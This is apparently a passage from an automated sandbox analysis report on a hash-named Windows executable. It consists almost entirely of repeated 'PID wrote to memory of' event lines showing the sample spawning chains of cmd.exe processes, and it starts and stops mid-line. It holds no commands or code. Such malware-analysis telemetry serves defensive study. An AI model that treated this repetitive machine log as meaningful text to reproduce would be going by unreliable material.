cmd.exe 694 PID 696 wrote to memory of 1248 696 cmd.exe 694 PID 696 wrote to memory of 1932 696 cmd.exe 695 PID 696 wrote to memory of 1932 696 cmd.exe 695 PID 696 wrote to memory of 1932 696 cmd.exe 695 PID 696 wrote to memory of 1932 696 cmd.exe 695 PID 1932 wrote to memory of 1900 1932 cmd.exe 696 PID 1932 wrote to memory of 1900 1932 cmd.exe 696 PID 1932 wrote to memory of 1900 1932 cmd.exe 696 PID 1932 wrote to memory of 1900 1932 cmd.exe 696 PID 696 wrote to memory of 552 696 cmd.exe 697 PID 696 wrote to memory of 552 696 cmd.exe 697 PID 696 wrote to memory of 552 696 cmd.exe 697 PID 696 wrote to memory of 552 696 cmd.exe 697 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 698 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 698 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 698 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 698 PID 240 wrote to memory of 2000 240 cmd.exe 700 PID 240 wrote to memory of 2000 240 cmd.exe 700 PID 240 wrote to memory of 2000 240 cmd.exe 700 PID 240 wrote to memory of 2000 240 cmd.exe 700 PID 240 wrote to memory of 1100 240 cmd.exe 701 PID 240 wrote to memory of 1100 240 cmd.exe 701 PID 240 wrote to memory of 1100 240 cmd.exe 701 PID 240 wrote to memory of 1100 240 cmd.exe 701 PID 240 wrote to memory of 564 240 cmd.exe 702 PID 240 wrote to memory of 564 240 cmd.exe 702 PID 240 wrote to memory of 564 240 cmd.exe 702 PID 240 wrote to memory of 564 240 cmd.exe 702 PID 564 wrote to memory of 624 564 cmd.exe 703 PID 564 wrote to memory of 624 564 cmd.exe 703 PID 564 wrote to memory of 624 564 cmd.exe 703 PID 564 wrote to memory of 624 564 cmd.exe 703 PID 240 wrote to memory of 792 240 cmd.exe 704 PID 240 wrote to memory of 792 240 cmd.exe 704 PID 240 wrote to memory of 792 240 cmd.exe 704 PID 240 wrote to memory of 792 240 cmd.exe 704 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 705 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 705 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 705 PID 1332 wrote to memory of 832 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 705 PID 832 wrote to memory of 300 832 cmd.exe 707 PID 832 wrote to memory of 300 832 cmd.exe 707 PID 832 wrote to memory of 300 832 cmd.exe 707 PID 832 wrote to memory of 300 832 cmd.exe 707 PID 832 wrote to memory of 1176 832 cmd.exe 708 PID 832 wrote to memory of 1176 832 cmd.exe 708 PID 832 wrote to memory of 1176 832 cmd.exe 708 PID 832 wrote to memory of 1176 832 cmd.exe 708 PID 832 wrote to memory of 1364 832 cmd.exe 709 PID 832 wrote to memory of 1364 832 cmd.exe 709 PID 832 wrote to memory of 1364 832 cmd.exe 709 PID 832 wrote to memory of 1364 832 cmd.exe 709 PID 1364 wrote to memory of 760 1364 cmd.exe 710 PID 1364 wrote to memory of 760 1364 cmd.exe 710 PID 1364 wrote to memory of 760 1364 cmd.exe 710 PID 1364 wrote to memory of 760 1364 cmd.exe 710 PID 832 wrote to memory of 336 832 cmd.exe 711 PID 832 wrote to memory of 336 832 cmd.exe 711 PID 832 wrote to memory of 336 832 cmd.exe 711 PID 832 wrote to memory of 336 832 cmd.exe 711 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 712 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 712 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 712 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 712 PID 1956 wrote to memory of 552 1956 cmd.exe 714 PID 1956 wrote to memory of 552 1956 cmd.exe 714 PID 1956 wrote to memory of 552 1956 cmd.exe 714 PID 1956 wrote to memory of 552 1956 cmd.exe 714 PID 1956 wrote to memory of 928 1956 cmd.exe 715 PID 1956 wrote to memory of 928 1956 cmd.exe 715 PID 1956 wrote to memory of 928 1956 cmd.exe 715 PID 1956 wrote to memory of 928 1956 cmd.exe 715 PID 1956 wrote to memory of 1096 1956 cmd.exe 716 PID 1956 wrote to memory of 1096 1956 cmd.exe 716 PID 1956 wrote to memory of 1096 1956 cmd.exe 716 PID 1956 wrote to memory of 1096 1956 cmd.exe 716 PID 1096 wrote to memory of 948 1096 cmd.exe 717 PID 1096 wrote to memory of 948 1096 cmd.exe 717 PID 1096 wrote to memory of 948 1096 cmd.exe 717 PID 1096 wrote to memory of 948 1096 cmd.exe 717 PID 1956 wrote to memory of 1100 1956 cmd.exe 718 PID 1956 wrote to memory of 1100 1956 cmd.exe 718 PID 1956 wrote to memory of 1100 1956 cmd.exe 718 PID 1956 wrote to memory of 1100 1956 cmd.exe 718 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 719 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 719 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 719 PID 1332 wrote to memory of 2028 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 719 PID 2028 wrote to memory of 792 2028 cmd.exe 721 PID 2028 wrote to memory of 792 2028 cmd.exe 721 PID 2028 wrote to memory of 792 2028 cmd.exe 721 PID 2028 wrote to memory of 792 2028 cmd.exe 721 PID 2028 wrote to memory of 844 2028 cmd.exe 722 PID 2028 wrote to memory of 844 2028 cmd.exe 722 PID 2028 wrote to memory of 844 2028 cmd.exe 722 PID 2028 wrote to memory of 844 2028 cmd.exe 722 PID 2028 wrote to memory of 1940 2028 cmd.exe 723 PID 2028 wrote to memory of 1940 2028 cmd.exe 723 PID 2028 wrote to memory of 1940 2028 cmd.exe 723 PID 2028 wrote to memory of 1940 2028 cmd.exe 723 PID 1940 wrote to memory of 972 1940 cmd.exe 724 PID 1940 wrote to memory of 972 1940 cmd.exe 724 PID 1940 wrote to memory of 972 1940 cmd.exe 724 PID 1940 wrote to memory of 972 1940 cmd.exe 724 PID 2028 wrote to memory of 1176 2028 cmd.exe 725 PID 2028 wrote to memory of 1176 2028 cmd.exe 725 PID 2028 wrote to memory of 1176 2028 cmd.exe 725 PID 2028 wrote to memory of 1176 2028 cmd.exe 725 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 726 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 726 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 726 PID 1332 wrote to memory of 2044 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 726 PID 2044 wrote to memory of 336 2044 cmd.exe 728 PID 2044 wrote to memory of 336 2044 cmd.exe 728 PID 2044 wrote to memory of 336 2044 cmd.exe 728 PID 2044 wrote to memory of 336 2044 cmd.exe 728 PID 2044 wrote to memory of 1108 2044 cmd.exe 729 PID 2044 wrote to memory of 1108 2044 cmd.exe 729 PID 2044 wrote to memory of 1108 2044 cmd.exe 729 PID 2044 wrote to memory of 1108 2044 cmd.exe 729 PID 2044 wrote to memory of 872 2044 cmd.exe 730 PID 2044 wrote to memory of 872 2044 cmd.exe 730 PID 2044 wrote to memory of 872 2044 cmd.exe 730 PID 2044 wrote to memory of 872 2044 cmd.exe 730 PID 872 wrote to memory of 696 872 cmd.exe 731 PID 872 wrote to memory of 696 872 cmd.exe 731 PID 872 wrote to memory of 696 872 cmd.exe 731 PID 872 wrote to memory of 696 872 cmd.exe 731 PID 2044 wrote to memory of 928 2044 cmd.exe 732 PID 2044 wrote to memory of 928 2044 cmd.exe 732 PID 2044 wrote to memory of 928 2044 cmd.exe 732 PID 2044 wrote to memory of 928 2044 cmd.exe 732 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 733 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 733 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 733 PID 1332 wrote to memory of 2000 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 733 PID 2000 wrote to memory of 2008 2000 cmd.exe 735 PID 2000 wrote to memory of 2008 2000 cmd.exe 735 PID 2000 wrote to memory of 2008 2000 cmd.exe 735 PID 2000 wrote to memory of 2008 2000 cmd.exe 735 PID 2000 wrote to memory of 1956 2000 cmd.exe 736 PID 2000 wrote to memory of 1956 2000 cmd.exe 736 PID 2000 wrote to memory of 1956 2000 cmd.exe 736 PID 2000 wrote to memory of 1956 2000 cmd.exe 736 PID 2000 wrote to memory of 1196 2000 cmd.exe 737 PID 2000 wrote to memory of 1196 2000 cmd.exe 737 PID 2000 wrote to memory of 1196 2000 cmd.exe 737 PID 2000 wrote to memory of 1196 2000 cmd.exe 737 PID 1196 wrote to memory of 240 1196 cmd.exe 738 PID 1196 wrote to memory of 240 1196 cmd.exe 738 PID 1196 wrote to memory of 240 1196 cmd.exe 738 PID 1196 wrote to memory of 240 1196 cmd.exe 738 PID 2000 wrote to memory of 844 2000 cmd.exe 739 PID 2000 wrote to memory of 844 2000 cmd.exe 739 PID 2000 wrote to memory of 844 2000 cmd.exe 739 PID 2000 wrote to memory of 844 2000 cmd.exe 739 PID 1332 wrote to memory of 1548 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 740 PID 1332 wrote to memory of 1548 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 740 PID 1332 wrote to memory of 1548 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 740 PID 1332 wrote to memory of 1548 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 740 PID 1548 wrote to memory of 1756 1548 cmd.exe 742 PID 1548 wrote to memory of 1756 1548 cmd.exe 742 PID 1548 wrote to memory of 1756 1548 cmd.exe 742 PID 1548 wrote to memory of 1756 1548 cmd.exe 742 PID 1548 wrote to memory of 564 1548 cmd.exe 743 PID 1548 wrote to memory of 564 1548 cmd.exe 743 PID 1548 wrote to memory of 564 1548 cmd.exe 743 PID 1548 wrote to memory of 564 1548 cmd.exe 743 PID 1548 wrote to memory of 1408 1548 cmd.exe 744 PID 1548 wrote to memory of 1408 1548 cmd.exe 744 PID 1548 wrote to memory of 1408 1548 cmd.exe 744 PID 1548 wrote to memory of 1408 1548 cmd.exe 744 PID 1408 wrote to memory of 428 1408 cmd.exe 745 PID 1408 wrote to memory of 428 1408 cmd.exe 745 PID 1408 wrote to memory of 428 1408 cmd.exe 745 PID 1408 wrote to memory of 428 1408 cmd.exe 745 PID 1548 wrote to memory of 940 1548 cmd.exe 746 PID 1548 wrote to memory of 940 1548 cmd.exe 746 PID 1548 wrote to memory of 940 1548 cmd.exe 746 PID 1548 wrote to memory of 940 1548 cmd.exe 746 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 747 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 747 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 747 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 747 PID 1788 wrote to memory of 1068 1788 cmd.exe 749 PID 1788 wrote to memory of 1068 1788 cmd.exe 749 PID 1788 wrote to memory of 1068 1788 cmd.exe 749 PID 1788 wrote to memory of 1068 1788 cmd.exe 749 PID 1788 wrote to memory of 1364 1788 cmd.exe 750 PID 1788 wrote to memory of 1364 1788 cmd.exe 750 PID 1788 wrote to memory of 1364 1788 cmd.exe 750 PID 1788 wrote to memory of 1364 1788 cmd.exe 750 PID 1788 wrote to memory of 732 1788 cmd.exe 751 PID 1788 wrote to memory of 732 1788 cmd.exe 751 PID 1788 wrote to memory of 732 1788 cmd.exe 751 PID 1788 wrote to memory of 732 1788 cmd.exe 751 PID 732 wrote to memory of 1900 732 cmd.exe 752 PID 732 wrote to memory of 1900 732 cmd.exe 752 PID 732 wrote to memory of 1900 732 cmd.exe 752 PID 732 wrote to memory of 1900 732 cmd.exe 752 PID 1788 wrote to memory of 1956 1788 cmd.exe 753 PID 1788 wrote to memory of 1956 1788 cmd.exe 753 PID 1788 wrote to memory of 1956 1788 cmd.exe 753 PID 1788 wrote to memory of 1956 1788 cmd.exe 753 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 754 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 754 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 754 PID 1332 wrote to memory of 1896 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 754 PID 1896 wrote to memory of 844 1896 cmd.exe 756 PID 1896 wrote to memory of 844 1896 cmd.exe 756 PID 1896 wrote to memory of 844 1896 cmd.exe 756 PID 1896 wrote to memory of 844 1896 cmd.exe 756 PID 1896 wrote to memory of 1004 1896 cmd.exe 757 PID 1896 wrote to memory of 1004 1896 cmd.exe 757 PID 1896 wrote to memory of 1004 1896 cmd.exe 757 PID 1896 wrote to memory of 1004 1896 cmd.exe 757 PID 1896 wrote to memory of 1040 1896 cmd.exe 758 PID 1896 wrote to memory of 1040 1896 cmd.exe 758 PID 1896 wrote to memory of 1040 1896 cmd.exe 758 PID 1896 wrote to memory of 1040 1896 cmd.exe 758 PID 1040 wrote to memory of 1052 1040 cmd.exe 759 PID 1040 wrote to memory of 1052 1040 cmd.exe 759 PID 1040 wrote to memory of 1052 1040 cmd.exe 759 PID 1040 wrote to memory of 1052 1040 cmd.exe 759 PID 1896 wrote to memory of 336 1896 cmd.exe 760 PID 1896 wrote to memory of 336 1896 cmd.exe 760 PID 1896 wrote to memory of 336 1896 cmd.exe 760 PID 1896 wrote to memory of 336 1896 cmd.exe 760 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 761 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 761 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 761 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 761 PID 1408 wrote to memory of 1168 1408 cmd.exe 763 PID 1408 wrote to memory of 1168 1408 cmd.exe 763 PID 1408 wrote to memory of 1168 1408 cmd.exe 763 PID 1408 wrote to memory of 1168 1408 cmd.exe 763 PID 1408 wrote to memory of 1328 1408 cmd.exe 764 PID 1408 wrote to memory of 1328 1408 cmd.exe 764 PID 1408 wrote to memory of 1328 1408 cmd.exe 764 PID 1408 wrote to memory of 1328 1408 cmd.exe 764 PID 1408 wrote to memory of 1308 1408 cmd.exe 765 PID 1408 wrote to memory of 1308 1408 cmd.exe 765 PID 1408 wrote to memory of 1308 1408 cmd.exe 765 PID 1408 wrote to memory of 1308 1408 cmd.exe 765 PID 1308 wrote to memory of 928 1308 cmd.exe 766 PID 1308 wrote to memory of 928 1308 cmd.exe 766 PID 1308 wrote to memory of 928 1308 cmd.exe 766 PID 1308 wrote to memory of 928 1308 cmd.exe 766 PID 1408 wrote to memory of 680 1408 cmd.exe 767 PID 1408 wrote to memory of 680 1408 cmd.exe 767 PID 1408 wrote to memory of 680 1408 cmd.exe 767 PID 1408 wrote to memory of 680 1408 cmd.exe 767 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 768 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 768 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 768 PID 1332 wrote to memory of 1900 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 768 PID 1900 wrote to memory of 1012 1900 cmd.exe 770 PID 1900 wrote to memory of 1012 1900 cmd.exe 770 PID 1900 wrote to memory of 1012 1900 cmd.exe 770 PID 1900 wrote to memory of 1012 1900 cmd.exe 770 PID 1900 wrote to memory of 872 1900 cmd.exe 771 PID 1900 wrote to memory of 872 1900 cmd.exe 771 PID 1900 wrote to memory of 872 1900 cmd.exe 771 PID 1900 wrote to memory of 872 1900 cmd.exe 771 PID 1900 wrote to memory of 300 1900 cmd.exe 772 PID 1900 wrote to memory of 300 1900 cmd.exe 772 PID 1900 wrote to memory of 300 1900 cmd.exe 772 PID 1900 wrote to memory of 300 1900 cmd.exe 772 PID 300 wrote to memory of 1184 300 cmd.exe 773 PID 300 wrote to memory of 1184 300 cmd.exe 773 PID 300 wrote to memory of 1184 300 cmd.exe 773 PID 300 wrote to memory of 1184 300 cmd.exe 773 PID 1900 wrote to memory of 1004 1900 cmd.exe 774 PID 1900 wrote to memory of 1004 1900 cmd.exe 774 PID 1900 wrote to memory of 1004 1900 cmd.exe 774 PID 1900 wrote to memory of 1004 1900 cmd.exe 774 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 775 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 775 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 775 PID 1332 wrote to memory of 1756 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 775 PID 1756 wrote to memory of 832 1756 cmd.exe 777 PID 1756 wrote to memory of 832 1756 cmd.exe 777 PID 1756 wrote to memory of 832 1756 cmd.exe 777 PID 1756 wrote to memory of 832 1756 cmd.exe 777 PID 1756 wrote to memory of 1896 1756 cmd.exe 778 PID 1756 wrote to memory of 1896 1756 cmd.exe 778 PID 1756 wrote to memory of 1896 1756 cmd.exe 778 PID 1756 wrote to memory of 1896 1756 cmd.exe 778 PID 1756 wrote to memory of 1212 1756 cmd.exe 779 PID 1756 wrote to memory of 1212 1756 cmd.exe 779 PID 1756 wrote to memory of 1212 1756 cmd.exe 779 PID 1756 wrote to memory of 1212 1756 cmd.exe 779 PID 1212 wrote to memory of 972 1212 cmd.exe 780 PID 1212 wrote to memory of 972 1212 cmd.exe 780 PID 1212 wrote to memory of 972 1212 cmd.exe 780 PID 1212 wrote to memory of 972 1212 cmd.exe 780 PID 1756 wrote to memory of 1940 1756 cmd.exe 781 PID 1756 wrote to memory of 1940 1756 cmd.exe 781 PID 1756 wrote to memory of 1940 1756 cmd.exe 781 PID 1756 wrote to memory of 1940 1756 cmd.exe 781 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 782 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 782 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 782 PID 1332 wrote to memory of 1364 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 782 PID 1364 wrote to memory of 1100 1364 cmd.exe 784 PID 1364 wrote to memory of 1100 1364 cmd.exe 784 PID 1364 wrote to memory of 1100 1364 cmd.exe 784 PID 1364 wrote to memory of 1100 1364 cmd.exe 784 PID 1364 wrote to memory of 428 1364 cmd.exe 785 PID 1364 wrote to memory of 428 1364 cmd.exe 785 PID 1364 wrote to memory of 428 1364 cmd.exe 785 PID 1364 wrote to memory of 428 1364 cmd.exe 785 PID 1364 wrote to memory of 552 1364 cmd.exe 786 PID 1364 wrote to memory of 552 1364 cmd.exe 786 PID 1364 wrote to memory of 552 1364 cmd.exe 786 PID 1364 wrote to memory of 552 1364 cmd.exe 786 PID 552 wrote to memory of 1788 552 cmd.exe 787 PID 552 wrote to memory of 1788 552 cmd.exe 787 PID 552 wrote to memory of 1788 552 cmd.exe 787 PID 552 wrote to memory of 1788 552 cmd.exe 787 PID 1364 wrote to memory of 2020 1364 cmd.exe 788 PID 1364 wrote to memory of 2020 1364 cmd.exe 788 PID 1364 wrote to memory of 2020 1364 cmd.exe 788 PID 1364 wrote to memory of 2020 1364 cmd.exe 788 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 789 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 789 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 789 PID 1332 wrote to memory of 1096 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 789 PID 1096 wrote to memory of 1176 1096 cmd.exe 791 PID 1096 wrote to memory of 1176 1096 cmd.exe 791 PID 1096 wrote to memory of 1176 1096 cmd.exe 791 PID 1096 wrote to memory of 1176 1096 cmd.exe 791 PID 1096 wrote to memory of 1604 1096 cmd.exe 792 PID 1096 wrote to memory of 1604 1096 cmd.exe 792 PID 1096 wrote to memory of 1604 1096 cmd.exe 792 PID 1096 wrote to memory of 1604 1096 cmd.exe 792 PID 1096 wrote to memory of 792 1096 cmd.exe 793 PID 1096 wrote to memory of 792 1096 cmd.exe 793 PID 1096 wrote to memory of 792 1096 cmd.exe 793 PID 1096 wrote to memory of 792 1096 cmd.exe 793 PID 792 wrote to memory of 1452 792 cmd.exe 794 PID 792 wrote to memory of 1452 792 cmd.exe 794 PID 792 wrote to memory of 1452 792 cmd.exe 794 PID 792 wrote to memory of 1452 792 cmd.exe 794 PID 1096 wrote to memory of 1540 1096 cmd.exe 795 PID 1096 wrote to memory of 1540 1096 cmd.exe 795 PID 1096 wrote to memory of 1540 1096 cmd.exe 795 PID 1096 wrote to memory of 1540 1096 cmd.exe 795 PID 1332 wrote to memory of 1780 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 796 PID 1332 wrote to memory of 1780 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 796 PID 1332 wrote to memory of 1780 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 796 PID 1332 wrote to memory of 1780 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 796 PID 1780 wrote to memory of 760 1780 cmd.exe 798 PID 1780 wrote to memory of 760 1780 cmd.exe 798 PID 1780 wrote to memory of 760 1780 cmd.exe 798 PID 1780 wrote to memory of 760 1780 cmd.exe 798 PID 1780 wrote to memory of 1700 1780 cmd.exe 799 PID 1780 wrote to memory of 1700 1780 cmd.exe 799 PID 1780 wrote to memory of 1700 1780 cmd.exe 799 PID 1780 wrote to memory of 1700 1780 cmd.exe 799 PID 1780 wrote to memory of 928 1780 cmd.exe 800 PID 1780 wrote to memory of 928 1780 cmd.exe 800 PID 1780 wrote to memory of 928 1780 cmd.exe 800 PID 1780 wrote to memory of 928 1780 cmd.exe 800 PID 928 wrote to memory of 2008 928 cmd.exe 801 PID 928 wrote to memory of 2008 928 cmd.exe 801 PID 928 wrote to memory of 2008 928 cmd.exe 801 PID 928 wrote to memory of 2008 928 cmd.exe 801 PID 1780 wrote to memory of 428 1780 cmd.exe 802 PID 1780 wrote to memory of 428 1780 cmd.exe 802 PID 1780 wrote to memory of 428 1780 cmd.exe 802 PID 1780 wrote to memory of 428 1780 cmd.exe 802 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 803 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 803 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 803 PID 1332 wrote to memory of 1048 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 803 PID 1048 wrote to memory of 2020 1048 cmd.exe 805 PID 1048 wrote to memory of 2020 1048 cmd.exe 805 PID 1048 wrote to memory of 2020 1048 cmd.exe 805 PID 1048 wrote to memory of 2020 1048 cmd.exe 805 PID 1048 wrote to memory of 1932 1048 cmd.exe 806 PID 1048 wrote to memory of 1932 1048 cmd.exe 806 PID 1048 wrote to memory of 1932 1048 cmd.exe 806 PID 1048 wrote to memory of 1932 1048 cmd.exe 806 PID 1048 wrote to memory of 1184 1048 cmd.exe 807 PID 1048 wrote to memory of 1184 1048 cmd.exe 807 PID 1048 wrote to memory of 1184 1048 cmd.exe 807 PID 1048 wrote to memory of 1184 1048 cmd.exe 807 PID 1184 wrote to memory of 1888 1184 cmd.exe 808 PID 1184 wrote to memory of 1888 1184 cmd.exe 808 PID 1184 wrote to memory of 1888 1184 cmd.exe 808 PID 1184 wrote to memory of 1888 1184 cmd.exe 808 PID 1048 wrote to memory of 1604 1048 cmd.exe 809 PID 1048 wrote to memory of 1604 1048 cmd.exe 809 PID 1048 wrote to memory of 1604 1048 cmd.exe 809 PID 1048 wrote to memory of 1604 1048 cmd.exe 809 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 810 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 810 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 810 PID 1332 wrote to memory of 240 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 810 PID 240 wrote to memory of 1896 240 cmd.exe 812 PID 240 wrote to memory of 1896 240 cmd.exe 812 PID 240 wrote to memory of 1896 240 cmd.exe 812 PID 240 wrote to memory of 1896 240 cmd.exe 812 PID 240 wrote to memory of 1096 240 cmd.exe 813 PID 240 wrote to memory of 1096 240 cmd.exe 813 PID 240 wrote to memory of 1096 240 cmd.exe 813 PID 240 wrote to memory of 1096 240 cmd.exe 813 PID 240 wrote to memory of 1212 240 cmd.exe 814 PID 240 wrote to memory of 1212 240 cmd.exe 814 PID 240 wrote to memory of 1212 240 cmd.exe 814 PID 240 wrote to memory of 1212 240 cmd.exe 814 PID 1212 wrote to memory of 1328 1212 cmd.exe 815 PID 1212 wrote to memory of 1328 1212 cmd.exe 815 PID 1212 wrote to memory of 1328 1212 cmd.exe 815 PID 1212 wrote to memory of 1328 1212 cmd.exe 815 PID 240 wrote to memory of 680 240 cmd.exe 816 PID 240 wrote to memory of 680 240 cmd.exe 816 PID 240 wrote to memory of 680 240 cmd.exe 816 PID 240 wrote to memory of 680 240 cmd.exe 816 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 817 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 817 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 817 PID 1332 wrote to memory of 2008 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 817 PID 2008 wrote to memory of 904 2008 cmd.exe 819 PID 2008 wrote to memory of 904 2008 cmd.exe 819 PID 2008 wrote to memory of 904 2008 cmd.exe 819 PID 2008 wrote to memory of 904 2008 cmd.exe 819 PID 2008 wrote to memory of 1120 2008 cmd.exe 820 PID 2008 wrote to memory of 1120 2008 cmd.exe 820 PID 2008 wrote to memory of 1120 2008 